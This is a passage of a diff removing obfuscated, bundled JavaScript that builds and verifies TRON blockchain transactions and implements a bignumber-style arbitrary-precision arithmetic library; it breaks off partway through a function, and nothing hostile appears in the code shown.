- return isNaN(_0xf2bb18) ? "Active" === _0xf2bb18 ? 2 : "Witness" === _0xf2bb18 ? 1 : 0 : _0xf2bb18;
- }(_0x40a766));
- _0x2ce3eb.setId(_0x930216);
- _0x2ce3eb.setPermissionName(_0x18f40b);
- _0x2ce3eb.setThreshold(_0x1a6575);
- _0x4818b1 && _0x2ce3eb.setParentId(_0x4818b1);
- _0x38f860 && _0x2ce3eb.setOperations(_0x55f234(_0x38f860));
- _0x511cca && _0x2ce3eb.setKeysList(_0x511cca.map(function (_0x32de2e) {
- var _0x323b04 = new _0x569188();
- _0x323b04.setAddress(_0x55f234(_0x32de2e.address));
- _0x323b04.setWeight(_0x32de2e.weight);
- return _0x323b04;
- }));
- return _0x2ce3eb;
- };
- _0x54b109 && _0xf68ec1.setOwner(_0x560336(_0x54b109));
- _0x16a94b && _0xf68ec1.setWitness(_0x560336(_0x16a94b));
- _0x5a2e36 && (Array.isArray(_0x5a2e36) ? _0xf68ec1.setActivesList(_0x5a2e36.map(function (_0x485558) {
- return _0x560336(_0x485558);
- })) : _0xf68ec1.setActivesList([_0x560336(_0x5a2e36)]));
- return _0x48bbeb(_0xf68ec1, _0x45cabb.Contract.ContractType.ACCOUNTPERMISSIONUPDATECONTRACT, "AccountPermissionUpdateContract", _0x470e1a.Permission_id);
- }(_0x21b771, _0x54be49);
- case "UpdateAssetContract":
- return function (_0x849f56, _0x3cc54f) {
- var _0x5ca65f = new _0xba749d();
- var _0x1a6925 = _0x849f56.owner_address;
- var _0x575931 = _0x849f56.description;
- var _0x50c217 = _0x849f56.url;
- var _0x236796 = _0x849f56.new_limit;
- var _0x59e222 = _0x849f56.new_public_limit;
- _0x5ca65f.setOwnerAddress(_0x55f234(_0x1a6925));
- _0x575931 && _0x5ca65f.setDescription(_0x55f234(_0x575931.replace(/^0x/, "")));
- _0x50c217 && _0x5ca65f.setUrl(_0x55f234(_0x50c217.replace(/^0x/, "")));
- _0x236796 && _0x5ca65f.setNewLimit(_0x236796);
- _0x59e222 && _0x5ca65f.setNewPublicLimit(_0x59e222);
- return _0x48bbeb(_0x5ca65f, _0x45cabb.Contract.ContractType.UPDATEASSETCONTRACT, "UpdateAssetContract", _0x3cc54f.Permission_id);
- }(_0x21b771, _0x54be49);
- }
- };
- var _0x19b9ac = function (_0x3a1da9) {
- var _0x2f51f9 = _0x3a1da9.raw_data;
- var _0xb50428 = _0x2f51f9.contract[0];
- var _0x5e3ed4 = _0xb50428.parameter.value;
- var _0x57241a = {
- Permission_id: _0xb50428.Permission_id
- };
- var _0x40b872 = _0x4deb06(_0xb50428, _0x5e3ed4, _0x57241a);
- var _0x171b24 = _0x40b872.getRawData();
- _0x171b24.setRefBlockBytes(_0x55f234(_0x2f51f9.ref_block_bytes));
- _0x171b24.setRefBlockHash(_0x55f234(_0x2f51f9.ref_block_hash));
- _0x2f51f9.data && _0x171b24.setData(_0x55f234(_0x2f51f9.data));
- _0x2f51f9.fee_limit && _0x171b24.setFeeLimit(_0x2f51f9.fee_limit);
- _0x2f51f9.expiration && _0x171b24.setExpiration(_0x2f51f9.expiration);
- _0x2f51f9.timestamp && _0x171b24.setTimestamp(_0x2f51f9.timestamp);
- _0x40b872.setRawData(_0x171b24);
- return _0x40b872;
- };
- var _0x3de547 = function (_0x4f5745) {
- var _0x2a78b8 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {};
- var _0x11c605 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {};
- var _0x33e75c = _0x4f5745.raw_data;
- var _0x2b540f = _0x33e75c.contract[0];
- var _0x46e399 = _0x4deb06(_0x2b540f, _0x2a78b8, {
- Permission_id: null == _0x2a78b8 ? undefined : _0x2a78b8.Permission_id
- });
- var _0x18cb3b = _0x46e399.getRawData();
- _0x18cb3b.setRefBlockBytes(_0x55f234(_0x33e75c.ref_block_bytes));
- _0x18cb3b.setRefBlockHash(_0x55f234(_0x33e75c.ref_block_hash));
- _0x11c605.data && _0x18cb3b.setData(_0x55f234(_0x11c605.data.replace(/^0x/, "")));
- (_0x11c605.fee_limit || _0x2a78b8.fee_limit) && _0x18cb3b.setFeeLimit(_0x11c605.fee_limit || _0x2a78b8.fee_limit);
- _0x33e75c.expiration && _0x18cb3b.setExpiration(_0x33e75c.expiration);
- _0x33e75c.timestamp && _0x18cb3b.setTimestamp(_0x33e75c.timestamp);
- _0x46e399.setRawData(_0x18cb3b);
- return _0x46e399;
- };
- var _0x629f5d = function (_0x4e4af3, _0x278c6d) {
- var _0x589cb2 = _0x278c6d.getRawData().serializeBinary();
- var _0x2f8b79 = _0x5939a5(_0x589cb2);
- var _0x2be5be = _0x38416e(_0x589cb2);
- return _0x2f8b79.toLowerCase() === _0x4e4af3.raw_data_hex.toLowerCase() && _0x2be5be.replace(/^0x/, "").toLowerCase() === _0x4e4af3.txID.replace(/^0x/, "").toLowerCase();
- };
- var _0x311c84 = function (_0x378a67) {
- return _0x5939a5(_0x378a67.getRawData().serializeBinary());
- };
- var _0x2fd324 = function (_0x3d8697) {
- var _0x15606e = _0x19b9ac(_0x3d8697);
- return _0x629f5d(_0x3d8697, _0x15606e);
- };
- var _0x2a2290 = function (_0x393b70, _0x217104, _0x309c3d) {
- var _0x55bf98 = _0x3de547(_0x393b70, _0x217104, _0x309c3d);
- return _0x629f5d(_0x393b70, _0x55bf98);
- };
- var _0x1c03ef = function (_0x7e7721) {
- return _0x38416e(_0x7e7721.getRawData().serializeBinary());
- };
- var _0x3c4bff = _0x242c38(8966);
- var _0xfd4cf3 = _0x242c38.n(_0x3c4bff);
- var _0xe1b269 = /^-?(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?$/i;
- var _0x4f9e9c = Math.ceil;
- var _0x138cc9 = Math.floor;
- var _0x846cf9 = "[BigNumber Error] ";
- var _0x2d48ae = _0x846cf9 + "Number primitive has more than 15 significant digits: ";
- var _0x3dffa6 = 100000000000000;
- var _0x5a3fe5 = 14;
- var _0x3b71d9 = 9007199254740991;
- var _0x2679ea = [1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000, 10000000000, 100000000000, 1000000000000, 10000000000000];
- var _0x21980b = 10000000;
- var _0x428e83 = 1000000000;
- function _0x1d3694(_0x57cdee) {
- var _0x36f5bd = 0 | _0x57cdee;
- return _0x57cdee > 0 || _0x57cdee === _0x36f5bd ? _0x36f5bd : _0x36f5bd - 1;
- }
- function _0x6d6fb9(_0x3dd344) {
- for (var _0x180afb, _0x48360a, _0x49f09c = 1, _0x2481f1 = _0x3dd344.length, _0x2c7de4 = _0x3dd344[0] + ""; _0x49f09c < _0x2481f1;) {
- for (_0x180afb = _0x3dd344[_0x49f09c++] + "", _0x48360a = _0x5a3fe5 - _0x180afb.length; _0x48360a--; _0x180afb = "0" + _0x180afb) {}
- _0x2c7de4 += _0x180afb;
- }
- for (_0x2481f1 = _0x2c7de4.length; 48 === _0x2c7de4.charCodeAt(--_0x2481f1);) {}
- return _0x2c7de4.slice(0, _0x2481f1 + 1 || 1);
- }
- function _0x120df4(_0x183387, _0x5203d7) {
- var _0x1b1b0d;
- var _0x5e5444;
- var _0x14a543 = _0x183387.c;
- var _0x40b3ad = _0x5203d7.c;
- var _0x13dffe = _0x183387.s;
- var _0x426438 = _0x5203d7.s;
- var _0x356848 = _0x183387.e;
- var _0x3edc7b = _0x5203d7.e;
- if (!_0x13dffe || !_0x426438) {
- return null;
- }
- if (_0x1b1b0d = _0x14a543 && !_0x14a543[0], _0x5e5444 = _0x40b3ad && !_0x40b3ad[0], _0x1b1b0d || _0x5e5444) {
- return _0x1b1b0d ? _0x5e5444 ? 0 : -_0x426438 : _0x13dffe;
- }
- if (_0x13dffe != _0x426438) {
- return _0x13dffe;
- }
- if (_0x1b1b0d = _0x13dffe < 0, _0x5e5444 = _0x356848 == _0x3edc7b, !_0x14a543 || !_0x40b3ad) {
- return _0x5e5444 ? 0 : !_0x14a543 ^ _0x1b1b0d ? 1 : -1;
- }
- if (!_0x5e5444) {
- return _0x356848 > _0x3edc7b ^ _0x1b1b0d ? 1 : -1;
- }
- for (_0x426438 = (_0x356848 = _0x14a543.length) < (_0x3edc7b = _0x40b3ad.length) ? _0x356848 : _0x3edc7b, _0x13dffe = 0; _0x13dffe < _0x426438; _0x13dffe++) {
- if (_0x14a543[_0x13dffe] != _0x40b3ad[_0x13dffe]) {
- return _0x14a543[_0x13dffe] > _0x40b3ad[_0x13dffe] ^ _0x1b1b0d ? 1 : -1;
- }
- }
- return _0x356848 == _0x3edc7b ? 0 : _0x356848 > _0x3edc7b ^ _0x1b1b0d ? 1 : -1;
- }
- function _0x37340e(_0x1c29ac, _0x47978b, _0x59c3bc, _0x561b59) {
- if (_0x1c29ac < _0x47978b || _0x1c29ac > _0x59c3bc || _0x1c29ac !== _0x138cc9(_0x1c29ac)) {
- throw Error(_0x846cf9 + (_0x561b59 || "Argument") + ("number" == typeof _0x1c29ac ? _0x1c29ac < _0x47978b || _0x1c29ac > _0x59c3bc ? " out of range: " : " not an integer: " : " not a primitive number: ") + String(_0x1c29ac));
- }
- }
- function _0xe24985(_0x58af0a) {
- var _0x2ec080 = _0x58af0a.c.length - 1;
- return _0x1d3694(_0x58af0a.e / _0x5a3fe5) == _0x2ec080 && _0x58af0a.c[_0x2ec080] % 2 != 0;
- }
- function _0x5b2408(_0x4b0e86, _0x4f1ecf) {
- return (_0x4b0e86.length > 1 ? _0x4b0e86.charAt(0) + "." + _0x4b0e86.slice(1) : _0x4b0e86) + (_0x4f1ecf < 0 ? "e" : "e+") + _0x4f1ecf;
- }
- function _0x1453ac(_0x4f72cd, _0x2c67ec, _0x1c32fd) {
- var _0x5e14d5;
- var _0x5032e4;
- if (_0x2c67ec < 0) {
- for (_0x5032e4 = _0x1c32fd + "."; ++_0x2c67ec; _0x5032e4 += _0x1c32fd) {}
- _0x4f72cd = _0x5032e4 + _0x4f72cd;
- } else {
- if (++_0x2c67ec > (_0x5e14d5 = _0x4f72cd.length)) {
- for (_0x5032e4 = _0x1c32fd, _0x2c67ec -= _0x5e14d5; --_0x2c67ec; _0x5032e4 += _0x1c32fd) {}
- _0x4f72cd += _0x5032e4;
- } else {
- _0x2c67ec < _0x5e14d5 && (_0x4f72cd = _0x4f72cd.slice(0, _0x2c67ec) + "." + _0x4f72cd.slice(_0x2c67ec));
- }
- }
- return _0x4f72cd;
- }
- var _0x3862aa = function _0x21242b(_0x22b542) {
- var _0x532966;
- var _0x310054;
- var _0x13c6c0;
- var _0x4521bd;
- var _0x2361b1;
- var _0x9084b9;
- var _0x3e429e;
- var _0x16b2d1;
- var _0x6cc78d;
- var _0x355b3f;
- _0x3ff58d.prototype = {
- constructor: _0x3ff58d,
- toString: null,
- valueOf: null
- };
- var _0x1b0629 = _0x3ff58d.prototype;
- var _0x1febf1 = new _0x3ff58d(1);
- var _0x5360a8 = 20;
- var _0xa4c222 = 4;
- var _0x416246 = -7;
- var _0x3b7897 = 21;
- var _0x8ed20e = -10000000;
- var _0x12bdeb = 10000000;
- var _0x10b8f3 = false;
- var _0x361afe = 1;
- var _0x203c25 = 0;
- var _0xc70013 = {
- prefix: "",
- groupSize: 3,
- secondaryGroupSize: 0,
- groupSeparator: ",",
- decimalSeparator: ".",
- fractionGroupSize: 0,
- fractionGroupSeparator: " ",
- suffix: ""
- };
- var _0x52533a = "0123456789abcdefghijklmnopqrstuvwxyz";
- var _0x18b76f = true;
- function _0x3ff58d(_0x20a842, _0xe0e121) {
- var _0x1613b6;
- var _0x5f510d;
- var _0x5db38c;
- var _0x6e06a3;
- var _0x55d947;
- var _0x30c2b1;
- var _0x2ab457;
- var _0x10d721;
- var _0x5b478d = this;
- if (!(_0x5b478d instanceof _0x3ff58d)) {
- return new _0x3ff58d(_0x20a842, _0xe0e121);
- }
- if (null == _0xe0e121) {
- if (_0x20a842 && true === _0x20a842._isBigNumber) {
- _0x5b478d.s = _0x20a842.s;
- return void (!_0x20a842.c || _0x20a842.e > _0x12bdeb ? _0x5b478d.c = _0x5b478d.e = null : _0x20a842.e < _0x8ed20e ? _0x5b478d.c = [_0x5b478d.e = 0] : (_0x5b478d.e = _0x20a842.e, _0x5b478d.c = _0x20a842.c.slice()));
- }
- if ((_0x30c2b1 = "number" == typeof _0x20a842) && 0 * _0x20a842 == 0) {
- if (_0x5b478d.s = 1 / _0x20a842 < 0 ? (_0x20a842 = -_0x20a842, -1) : 1, _0x20a842 === ~~_0x20a842) {
- for (_0x6e06a3 = 0, _0x55d947 = _0x20a842; _0x55d947 >= 10; _0x55d947 /= 10, _0x6e06a3++) {}
- return void (_0x6e06a3 > _0x12bdeb ? _0x5b478d.c = _0x5b478d.e = null : (_0x5b478d.e = _0x6e06a3, _0x5b478d.c = [_0x20a842]));
- }
- _0x10d721 = String(_0x20a842);
- } else {
- if (!_0xe1b269.test(_0x10d721 = String(_0x20a842))) {
- return _0x13c6c0(_0x5b478d, _0x10d721, _0x30c2b1);
- }
- _0x5b478d.s = 45 == _0x10d721.charCodeAt(0) ? (_0x10d721 = _0x10d721.slice(1), -1) : 1;
- }
- (_0x6e06a3 = _0x10d721.indexOf(".")) > -1 && (_0x10d721 = _0x10d721.replace(".", ""));
- (_0x55d947 = _0x10d721.search(/e/i)) > 0 ? (_0x6e06a3 < 0 && (_0x6e06a3 = _0x55d947), _0x6e06a3 += +_0x10d721.slice(_0x55d947 + 1), _0x10d721 = _0x10d721.substring(0, _0x55d947)) : _0x6e06a3 < 0 && (_0x6e06a3 = _0x10d721.length);
- } else {
- if (_0x37340e(_0xe0e121, 2, _0x52533a.length, "Base"), 10 == _0xe0e121 && _0x18b76f) {
- return _0x5e97ff(_0x5b478d = new _0x3ff58d(_0x20a842), _0x5360a8 + _0x5b478d.e + 1, _0xa4c222);
- }
- if (_0x10d721 = String(_0x20a842), _0x30c2b1 = "number" == typeof _0x20a842) {
- if (0 * _0x20a842 != 0) {
- return _0x13c6c0(_0x5b478d, _0x10d721, _0x30c2b1, _0xe0e121);
- }
- if (_0x5b478d.s = 1 / _0x20a842 < 0 ? (_0x10d721 = _0x10d721.slice(1), -1) : 1, _0x3ff58d.DEBUG && _0x10d721.replace(/^0\.0*|\./, "").length > 15) {
- throw Error(_0x2d48ae + _0x20a842);
- }
- } else {
- _0x5b478d.s = 45 === _0x10d721.charCodeAt(0) ? (_0x10d721 = _0x10d721.slice(1), -1) : 1;
- }
- for (_0x1613b6 = _0x52533a.slice(0, _0xe0e121), _0x6e06a3 = _0x55d947 = 0, _0x2ab457 = _0x10d721.length; _0x55d947 < _0x2ab457; _0x55d947++) {
- if (_0x1613b6.indexOf(_0x5f510d = _0x10d721.charAt(_0x55d947)) < 0) {
- if ("." == _0x5f510d) {
- if (_0x55d947 > _0x6e06a3) {
- _0x6e06a3 = _0x2ab457;
- continue;
- }
- } else {
- if (!_0x5db38c && (_0x10d721 == _0x10d721.toUpperCase() && (_0x10d721 = _0x10d721.toLowerCase()) || _0x10d721 == _0x10d721.toLowerCase() && (_0x10d721 = _0x10d721.toUpperCase()))) {
- _0x5db38c = true;
- _0x55d947 = -1;
- _0x6e06a3 = 0;
- continue;
- }
- }
- return _0x13c6c0(_0x5b478d, String(_0x20a842), _0x30c2b1, _0xe0e121);
- }
- }
- _0x30c2b1 = false;
- (_0x6e06a3 = (_0x10d721 = _0x310054(_0x10d721, _0xe0e121, 10, _0x5b478d.s)).indexOf(".")) > -1 ? _0x10d721 = _0x10d721.replace(".", "") : _0x6e06a3 = _0x10d721.length;
- }
- for (_0x55d947 = 0; 48 === _0x10d721.charCodeAt(_0x55d947); _0x55d947++) {}
- for (_0x2ab457 = _0x10d721.length; 48 === _0x10d721.charCodeAt(--_0x2ab457);) {}
- _0x10d721 = _0x10d721.slice(_0x55d947, ++_0x2ab457);
- if (_0x10d721) {
- if (_0x2ab457 -= _0x55d947, _0x30c2b1 && _0x3ff58d.DEBUG && _0x2ab457 > 15 && (_0x20a842 > _0x3b71d9 || _0x20a842 !== _0x138cc9(_0x20a842))) {
- throw Error(_0x2d48ae + _0x5b478d.s * _0x20a842);
- }
- if ((_0x6e06a3 = _0x6e06a3 - _0x55d947 - 1) > _0x12bdeb) {
- _0x5b478d.c = _0x5b478d.e = null;
- } else {
- if (_0x6e06a3 < _0x8ed20e) {
- _0x5b478d.c = [_0x5b478d.e = 0];
- } else {
- if (_0x5b478d.e = _0x6e06a3, _0x5b478d.c = [], _0x55d947 = (_0x6e06a3 + 1) % _0x5a3fe5, _0x6e06a3 < 0 && (_0x55d947 += _0x5a3fe5), _0x55d947 < _0x2ab457) {
- for (_0x55d947 && _0x5b478d.c.push(+_0x10d721.slice(0, _0x55d947)), _0x2ab457 -= _0x5a3fe5; _0x55d947 < _0x2ab457;) {
- _0x5b478d.c.push(+_0x10d721.slice(_0x55d947, _0x55d947 += _0x5a3fe5));
- }
- _0x55d947 = _0x5a3fe5 - (_0x10d721 = _0x10d721.slice(_0x55d947)).length;
- } else {
- _0x55d947 -= _0x2ab457;
- }
- for (; _0x55d947--; _0x10d721 += "0") {}
- _0x5b478d.c.push(+_0x10d721);
- }
- }
- } else {
- _0x5b478d.c = [_0x5b478d.e = 0];
- }
- }
- function _0x4c4e1b(_0x3d7400, _0x58deb8, _0x433fd4, _0x39750e) {
- var _0x5b7af2;
- var _0x263aa8;
- var _0x46fce7;
- var _0x1cbab1;
- var _0x12169e;
- if (null == _0x433fd4 ? _0x433fd4 = _0xa4c222 : _0x37340e(_0x433fd4, 0, 8), !_0x3d7400.c) {
- return _0x3d7400.toString();
- }
- if (_0x5b7af2 = _0x3d7400.c[0], _0x46fce7 = _0x3d7400.e, null == _0x58deb8) {
- _0x12169e = _0x6d6fb9(_0x3d7400.c);
- _0x12169e = 1 == _0x39750e || 2 == _0x39750e && (_0x46fce7 <= _0x416246 || _0x46fce7 >= _0x3b7897) ? _0x5b2408(_0x12169e, _0x46fce7) : _0x1453ac(_0x12169e, _0x46fce7, "0");
- } else {
- if (_0x263aa8 = (_0x3d7400 = _0x5e97ff(new _0x3ff58d(_0x3d7400), _0x58deb8, _0x433fd4)).e, _0x1cbab1 = (_0x12169e = _0x6d6fb9(_0x3d7400.c)).length, 1 == _0x39750e || 2 == _0x39750e && (_0x58deb8 <= _0x263aa8 || _0x263aa8 <= _0x416246)) {
- for (; _0x1cbab1 < _0x58deb8; _0x12169e += "0", _0x1cbab1++) {}
- _0x12169e = _0x5b2408(_0x12169e, _0x263aa8);
- } else {
- if (_0x58deb8 -= _0x46fce7, _0x12169e = _0x1453ac(_0x12169e, _0x263aa8, "0"), _0x263aa8 + 1 > _0x1cbab1) {
- if (--_0x58deb8 > 0) {
- for (_0x12169e += "."; _0x58deb8--; _0x12169e += "0") {}
- }
- } else {
- if ((_0x58deb8 += _0x263aa8 - _0x1cbab1) > 0) {
- for (_0x263aa8 + 1 == _0x1cbab1 && (_0x12169e += "."); _0x58deb8--; _0x12169e += "0") {}
- }
- }
- }
- }
- return _0x3d7400.s < 0 && _0x5b7af2 ? "-" + _0x12169e : _0x12169e;
- }
- function _0x527e5d(_0x14325b, _0x9ce88b) {
- for (var _0x272774, _0x10c901 = 1, _0x2d5500 = new _0x3ff58d(_0x14325b[0]); _0x10c901 < _0x14325b.length; _0x10c901++) {
- if (!(_0x272774 = new _0x3ff58d(_0x14325b[_0x10c901])).s) {
- _0x2d5500 = _0x272774;
- break;
- }
- _0x9ce88b.call(_0x2d5500, _0x272774) && (_0x2d5500 = _0x272774);
- }
- return _0x2d5500;
- }
- function _0x247158(_0x42c4a2, _0x3d067d, _0x54a743) {
- for (var _0x30f66a = 1, _0x4e5994 = _0x3d067d.length; !_0x3d067d[--_0x4e5994]; _0x3d067d.pop()) {}
- for (_0x4e5994 = _0x3d067d[0]; _0x4e5994 >= 10; _0x4e5994 /= 10, _0x30f66a++) {}
- (_0x54a743 = _0x30f66a + _0x54a743 * _0x5a3fe5 - 1) > _0x12bdeb ? _0x42c4a2.c = _0x42c4a2.e = null : _0x54a743 < _0x8ed20e ? _0x42c4a2.c = [_0x42c4a2.e = 0] : (_0x42c4a2.e = _0x54a743, _0x42c4a2.c = _0x3d067d);
- return _0x42c4a2;
- }
- function _0x5e97ff(_0x10a0d5, _0x5b9499, _0x32290b, _0x4ac22d) {
- var _0x3d64d6;
- var _0x59995f;
- var _0x5409be;
- var _0x45ae3d;
- var _0x36e4b8;
- var _0x11c122;
- var _0x1d6a88;
- var _0x339e43 = _0x10a0d5.c;
- var _0x396167 = _0x2679ea;
- if (_0x339e43) {
- _0x1a92da: {
- for (_0x3d64d6 = 1, _0x45ae3d = _0x339e43[0]; _0x45ae3d >= 10; _0x45ae3d /= 10, _0x3d64d6++) {}
- if ((_0x59995f = _0x5b9499 - _0x3d64d6) < 0) {
- _0x59995f += _0x5a3fe5;
- _0x5409be = _0x5b9499;
- _0x1d6a88 = (_0x36e4b8 = _0x339e43[_0x11c122 = 0]) / _0x396167[_0x3d64d6 - _0x5409be - 1] % 10 | 0;
- } else {
- if ((_0x11c122 = _0x4f9e9c((_0x59995f + 1) / _0x5a3fe5)) >= _0x339e43.length) {
- if (!_0x4ac22d) {
- break _0x1a92da;
- }
- for (; _0x339e43.length <= _0x11c122; _0x339e43.push(0)) {}
- _0x36e4b8 = _0x1d6a88 = 0;
- _0x3d64d6 = 1;
- _0x5409be = (_0x59995f %= _0x5a3fe5) - _0x5a3fe5 + 1;
- } else {
- for (_0x36e4b8 = _0x45ae3d = _0x339e43[_0x11c122], _0x3d64d6 = 1; _0x45ae3d >= 10; _0x45ae3d /= 10, _0x3d64d6++) {}
- _0x1d6a88 = (_0x5409be = (_0x59995f %= _0x5a3fe5) - _0x5a3fe5 + _0x3d64d6) < 0 ? 0 : _0x36e4b8 / _0x396167[_0x3d64d6 - _0x5409be - 1] % 10 | 0;
- }
- }
- if (_0x4ac22d = _0x4ac22d || _0x5b9499 < 0 || null != _0x339e43[_0x11c122 + 1] || (_0x5409be < 0 ? _0x36e4b8 : _0x36e4b8 % _0x396167[_0x3d64d6 - _0x5409be - 1]), _0x4ac22d = _0x32290b < 4 ? (_0x1d6a88 || _0x4ac22d) && (0 == _0x32290b || _0x32290b == (_0x10a0d5.s < 0 ? 3 : 2)) : _0x1d6a88 > 5 || 5 == _0x1d6a88 && (4 == _0x32290b || _0x4ac22d || 6 == _0x32290b && (_0x59995f > 0 ? _0x5409be > 0 ? _0x36e4b8 / _0x396167[_0x3d64d6 - _0x5409be] : 0 : _0x339e43[_0x11c122 - 1]) % 10 & 1 || _0x32290b == (_0x10a0d5.s < 0 ? 8 : 7)), _0x5b9499 < 1 || !_0x339e43[0]) {
- _0x339e43.length = 0;
- _0x4ac22d ? (_0x5b9499 -= _0x10a0d5.e + 1, _0x339e43[0] = _0x396167[(_0x5a3fe5 - _0x5b9499 % _0x5a3fe5) % _0x5a3fe5], _0x10a0d5.e = -_0x5b9499 || 0) : _0x339e43[0] = _0x10a0d5.e = 0;
- return _0x10a0d5;
- }
- if (0 == _0x59995f ? (_0x339e43.length = _0x11c122, _0x45ae3d = 1, _0x11c122--) : (_0x339e43.length = _0x11c122 + 1, _0x45ae3d = _0x396167[_0x5a3fe5 - _0x59995f], _0x339e43[_0x11c122] = _0x5409be > 0 ? _0x138cc9(_0x36e4b8 / _0x396167[_0x3d64d6 - _0x5409be] % _0x396167[_0x5409be]) * _0x45ae3d : 0), _0x4ac22d) {
- for (;;) {
- if (0 == _0x11c122) {
- for (_0x59995f = 1, _0x5409be = _0x339e43[0]; _0x5409be >= 10; _0x5409be /= 10, _0x59995f++) {}
- for (_0x5409be = _0x339e43[0] += _0x45ae3d, _0x45ae3d = 1; _0x5409be >= 10; _0x5409be /= 10, _0x45ae3d++) {}
- _0x59995f != _0x45ae3d && (_0x10a0d5.e++, _0x339e43[0] == _0x3dffa6 && (_0x339e43[0] = 1));
- break;
- }
- if (_0x339e43[_0x11c122] += _0x45ae3d, _0x339e43[_0x11c122] != _0x3dffa6) {
- break;
- }
- _0x339e43[_0x11c122--] = 0;
- _0x45ae3d = 1;
- }
- }
- for (_0x59995f = _0x339e43.length; 0 === _0x339e43[--_0x59995f]; _0x339e43.pop()) {}
- }
- _0x10a0d5.e > _0x12bdeb ? _0x10a0d5.c = _0x10a0d5.e = null : _0x10a0d5.e < _0x8ed20e && (_0x10a0d5.c = [_0x10a0d5.e = 0]);
- }
- return _0x10a0d5;
- }
- function _0x45dd1d(_0x10f34c) {
- var _0x42217d;
- var _0x393d1f = _0x10f34c.e;
- return null === _0x393d1f ? _0x10f34c.toString() : (_0x42217d = _0x6d6fb9(_0x10f34c.c), _0x42217d = _0x393d1f <= _0x416246 || _0x393d1f >= _0x3b7897 ? _0x5b2408(_0x42217d, _0x393d1f) : _0x1453ac(_0x42217d, _0x393d1f, "0"), _0x10f34c.s < 0 ? "-" + _0x42217d : _0x42217d);
- }
- _0x3ff58d.clone = _0x21242b;
- _0x3ff58d.ROUND_UP = 0;
- _0x3ff58d.ROUND_DOWN = 1;
- _0x3ff58d.ROUND_CEIL = 2;
- _0x3ff58d.ROUND_FLOOR = 3;
- _0x3ff58d.ROUND_HALF_UP = 4;
- _0x3ff58d.ROUND_HALF_DOWN = 5;
- _0x3ff58d.ROUND_HALF_EVEN = 6;
- _0x3ff58d.ROUND_HALF_CEIL = 7;
- _0x3ff58d.ROUND_HALF_FLOOR = 8;
- _0x3ff58d.EUCLID = 9;
- _0x3ff58d.config = _0x3ff58d.set = function (_0x371ba3) {
- var _0x5edd39;
- var _0x248c07;
- if (null != _0x371ba3) {
- if ("object" != typeof _0x371ba3) {
- throw Error(_0x846cf9 + "Object expected: " + _0x371ba3);
- }
- if (_0x371ba3.hasOwnProperty(_0x5edd39 = "DECIMAL_PLACES") && (_0x37340e(_0x248c07 = _0x371ba3[_0x5edd39], 0, _0x428e83, _0x5edd39), _0x5360a8 = _0x248c07), _0x371ba3.hasOwnProperty(_0x5edd39 = "ROUNDING_MODE") && (_0x37340e(_0x248c07 = _0x371ba3[_0x5edd39], 0, 8, _0x5edd39), _0xa4c222 = _0x248c07), _0x371ba3.hasOwnProperty(_0x5edd39 = "EXPONENTIAL_AT") && ((_0x248c07 = _0x371ba3[_0x5edd39]) && _0x248c07.pop ? (_0x37340e(_0x248c07[0], -_0x428e83, 0, _0x5edd39), _0x37340e(_0x248c07[1], 0, _0x428e83, _0x5edd39), _0x416246 = _0x248c07[0], _0x3b7897 = _0x248c07[1]) : (_0x37340e(_0x248c07, -_0x428e83, _0x428e83, _0x5edd39), _0x416246 = -(_0x3b7897 = _0x248c07 < 0 ? -_0x248c07 : _0x248c07))), _0x371ba3.hasOwnProperty(_0x5edd39 = "RANGE")) {
- if ((_0x248c07 = _0x371ba3[_0x5edd39]) && _0x248c07.pop) {
- _0x37340e(_0x248c07[0], -_0x428e83, -1, _0x5edd39);
- _0x37340e(_0x248c07[1], 1, _0x428e83, _0x5edd39);
- _0x8ed20e = _0x248c07[0];
- _0x12bdeb = _0x248c07[1];
- } else {
- if (_0x37340e(_0x248c07, -_0x428e83, _0x428e83, _0x5edd39), !_0x248c07) {
- throw Error(_0x846cf9 + _0x5edd39 + " cannot be zero: " + _0x248c07);
- }
- _0x8ed20e = -(_0x12bdeb = _0x248c07 < 0 ? -_0x248c07 : _0x248c07);
- }
- }
- if (_0x371ba3.hasOwnProperty(_0x5edd39 = "CRYPTO")) {
- if ((_0x248c07 = _0x371ba3[_0x5edd39]) !== !!_0x248c07) {
- throw Error(_0x846cf9 + _0x5edd39 + " not true or false: " + _0x248c07);
- }
- if (_0x248c07) {
- if ("undefined" == typeof crypto || !crypto || !crypto.getRandomValues && !crypto.randomBytes) {
- throw _0x10b8f3 = !_0x248c07, Error(_0x846cf9 + "crypto unavailable");
- }
- _0x10b8f3 = _0x248c07;
- } else {
- _0x10b8f3 = _0x248c07;
- }
- }
- if (_0x371ba3.hasOwnProperty(_0x5edd39 = "MODULO_MODE") && (_0x37340e(_0x248c07 = _0x371ba3[_0x5edd39], 0, 9, _0x5edd39), _0x361afe = _0x248c07), _0x371ba3.hasOwnProperty(_0x5edd39 = "POW_PRECISION") && (_0x37340e(_0x248c07 = _0x371ba3[_0x5edd39], 0, _0x428e83, _0x5edd39), _0x203c25 = _0x248c07), _0x371ba3.hasOwnProperty(_0x5edd39 = "FORMAT")) {
- if ("object" != typeof (_0x248c07 = _0x371ba3[_0x5edd39])) {
- throw Error(_0x846cf9 + _0x5edd39 + " not an object: " + _0x248c07);
- }
- _0xc70013 = _0x248c07;
- }
- if (_0x371ba3.hasOwnProperty(_0x5edd39 = "ALPHABET")) {
- if ("string" != typeof (_0x248c07 = _0x371ba3[_0x5edd39]) || /^.?$|[+\-.\s]|(.).*\1/.test(_0x248c07)) {
- throw Error(_0x846cf9 + _0x5edd39 + " invalid: " + _0x248c07);
- }
- _0x18b76f = "0123456789" == _0x248c07.slice(0, 10);
- _0x52533a = _0x248c07;
- }
- }
- return {
- DECIMAL_PLACES: _0x5360a8,
- ROUNDING_MODE: _0xa4c222,
- EXPONENTIAL_AT: [_0x416246, _0x3b7897],
- RANGE: [_0x8ed20e, _0x12bdeb],
- CRYPTO: _0x10b8f3,
- MODULO_MODE: _0x361afe,
- POW_PRECISION: _0x203c25,
- FORMAT: _0xc70013,
- ALPHABET: _0x52533a
- };
- };
- _0x3ff58d.isBigNumber = function (_0x3f2270) {
- if (!_0x3f2270 || true !== _0x3f2270._isBigNumber) {
- return false;
- }
- if (!_0x3ff58d.DEBUG) {
- return true;
- }
- var _0x2c74fe;
- var _0x11a68c;
- var _0x4b2bb7 = _0x3f2270.c;
- var _0x5f3a10 = _0x3f2270.e;
- var _0x477601 = _0x3f2270.s;
